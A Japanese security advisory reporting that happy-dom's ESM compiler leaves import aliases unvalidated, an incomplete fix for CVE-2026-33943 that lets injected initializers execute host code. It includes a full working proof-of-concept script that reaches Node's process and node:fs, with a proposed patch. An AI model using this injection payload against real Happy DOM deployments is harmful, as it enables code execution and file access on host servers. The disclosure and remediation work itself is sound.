Happy DOM: CVE-2026-33943に対する不完全な修正:サニタイズされていないインポートエイリアスがホストコードの実行につながる

## 概要

`happy-dom@20.14.5`に含まれるESMコンパイラは、生成されるJavaScriptに組み込む前に、インポートされたローカルバインディングのエイリアスを検証していません。

その結果、無効なESMインポートエイリアスが、有効なJavaScriptのデフォルト初期化子に変換され、実行される可能性があります。

これは、GHSA-6q6h-j7hj-3r64 / CVE-2026-33943に対する代替のインジェクション経路であり、不完全な修正です。以前の修正では、ローカルの`export { ... }`ハンドラで`importName`を検証していましたが、名前付きインポートハンドラでは、未検証の`alias`が直接コードコンテキストに配置されていました。

これらの問題は、公開されている`Window` APIおよび`<script type="module">` APIを使用して、公開されている`happy-dom` npmパッケージで確認されました。PoC(概念実証)は、Node.jsのホスト`process`に到達し、`node:fs`を取得し、ホストファイルシステム上に証明ディレクトリを作成します。

## 確認された影響を受けるバージョン

以下のバージョンで直接テストが行われました。

- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`

同じPoCは、`happy-dom@16.8.1`ではトリガーされませんでした。

ESMコンパイラは、コミット`7bc831df2`で導入され、`v17.0.0`で初めてリリースされました。脆弱な補間は、テスト時点での最新リリースである`v20.14.5`まで存在していました。

影響を受ける可能性のある範囲:

```text
>= 17.0.0, <= 20.14.5
```

現時点では、修正されたバージョンは利用できません。

## 前提条件

- JavaScriptの評価が`enableJavaScriptEvaluation: true`で有効になっていること。
- 攻撃者が制御するHTMLまたはモジュールソースが、Happy DOMによって処理されること。
- これは、外部から提供されたHTMLを評価する、サーバーサイドレンダリング(SSR)、プレビュー、スクレイピング、またはテストサービスに影響を与える可能性があります。

## 技術的な詳細

`packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`において、名前付きインポートハンドラは、インポート仕様子を分割し、そのエイリアスを抽出します。

```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
properties.push({ name, alias });
}
```

パッチが適用された `export { ... }` ハンドラとは異なり、`alias` の値は JavaScript の識別子として検証されません。

その後、この値は生成されたバインディング構文に直接挿入されます。

```ts
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```

以下のソースコードを考えてみてください。

```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

これは無効な ECMAScript モジュール構文です。Node.js は `=` トークンでエラーを発生させます。

Happy DOM は、代わりに次のようなコードに変換します。

```js
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```

この生成された JavaScript コードは有効です。インポートされた JSON オブジェクトに `missing` プロパティが含まれていないため、デフォルトの初期化子が実行されます。

`with { type: 'json' }` 属性は、コンパイラが循環インポート解決機能を ESM インポートに対してのみ生成するため、関連性があります。

```ts
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
```

JSON モジュールを使用することで、悪意のあるエイリアスが、後続の循環インポートの代入で再び出力されるのを防ぎ、生成された関数が構文的に有効な状態を維持します。

バッククォートで囲まれた文字列も、既存の引用符の削除処理を通過します。これにより、注入された初期化子が Node.js のホスト API に到達できるようになります。

```js
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
```

## 概念実証

以下は、PoC(概念実証)の例です。これは、公開されているHappy DOM APIのみを使用し、`HAPPY_DOM_RCE_PROOF`という名前のディレクトリを作成することで、無害なファイルシステム操作を実行します。

### 1. `package.json`の作成

```json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
```

### 2. `dep.json`の作成

```json
{}
```

### 3. `payload.mjs`の作成

このファイルは、ネイティブのECMAScriptパーサーがソースコードを拒否することを示すためのコントロールとして使用されます。

```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```

### 4. `poc.mjs`の作成

```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
console.error('[-] 攻撃失敗: proofディレクトリが作成されませんでした。');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] ホストのファイルシステムにアクセスしました: ${proofDirectory}`);
}
```

```
await window.happyDOM.close();
```

### 5. コントロールテストの実行

```console
npm install
node --check payload.mjs
```

期待される結果:

```text
SyntaxError: Unexpected token '='
```

これは、ソースが有効なESMではないことを確認します。

### 6. Happy DOMのPoCの実行

```console
node poc.mjs
```

期待される結果:

```text
[+] ホストファイルシステムに到達しました: /path/to/HAPPY_DOM_RCE_PROOF
```

`HAPPY_DOM_RCE_PROOF`の存在は、インポートエイリアスを通じて注入された式が実行され、ホストファイルシステムに到達したことを確認します。

このPoCは、`node:24-alpine`のDockerコンテナ内でも検証され、以下のファイルが作成されました。

```text
/poc/HAPPY_DOM_RCE_PROOF
```

## 影響

Happy DOMを通じてJavaScriptを評価するアプリケーションに、攻撃者がモジュールのソースを提供できる場合、構文的に無効なインポート宣言が実行可能なJavaScriptに変換される可能性があります。

これにより、上流の構文検証や、不正なインポート句が拒否されるというアプリケーションの前提を回避できる可能性があります。

実証されたペイロードは、Node.jsの`process`オブジェクトや組み込みモジュールに到達します。したがって、これを利用してファイルを読み書きしたり、環境データをアクセスしたり、Happy DOMホストプロセスの権限でオペレーティングシステムのコマンドを実行したりすることができます。

## CVE-2026-33943との関係

CVE-2026-33943は、ローカルのエクスポート宣言を介した式注入に関するものです。

```js
export { attacker_expression }
```

その修正では、`export { ... }`ハンドラで使用される`importName`に対して識別子検証が追加されました。

```ts
if (
exportName &&
importName &&
VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
// ...
}
```

このレポートでは、異なる解析とコード生成のパスを使用しています。

```js
import { name as malicious_alias } from './module';
```

検証されていない値は、ローカルのインポートエイリアス`alias`であり、注入は、CVE-2026-33943によって修正されたエクスポートの代入ではなく、生成されたデストラクチャリングバインディングで発生します。

この問題は、CVE-2026-33943の修正が適用されたバージョン以降でも再現可能です。例えば、`20.14.5`などです。
```

## 提案される修正

インポートされたローカルバインディングをコードコンテキストに配置する前に、その有効性を検証します。既存の `VALID_VARIABLE_NAME_REGEXP` を再利用できます。

```diff
- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {
```

リグレッションテストでは、悪意のあるインポート宣言をコンパイルして実行し、その後、初期化子が評価されなかったことを検証する必要があります。

この変更はローカルでテスト済みです。特定の `ECMAScriptModuleCompiler` テストスイートは、30件のテストをパスし、ESLint はエラーを報告していません。

さらにセキュリティを強化するために、生成されたプロパティキーは、手動での引用符の挿入ではなく、`JSON.stringify()` を使用する必要があります。

## 検証記録

- テスト日: 2026年9月17日
- 重複チェックの更新日: 2026年9月20日
- プラットフォーム: Windows 11
- Node.js: `24.14.1`
- 最新のテスト対象パッケージ: `happy-dom@20.14.5`
- ソースタグ: `v20.14.5`
- ソースコミット: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318`
- 最初に影響が確認されたバージョン: `17.0.0`
- 影響がないことが確認されたバージョン: `16.8.1`
- Docker環境: Node 24 Alpine
- 重複チェック中に、一致する公開のアドバイザリ、問題、プルリクエスト、コミット、またはリリースは見つかりませんでした。

影響を受けるパッケージ:
- npm (JavaScript) happy-dom: 影響あり >= 17.0.0, <= 21.0.3、21.0.4 で修正済み。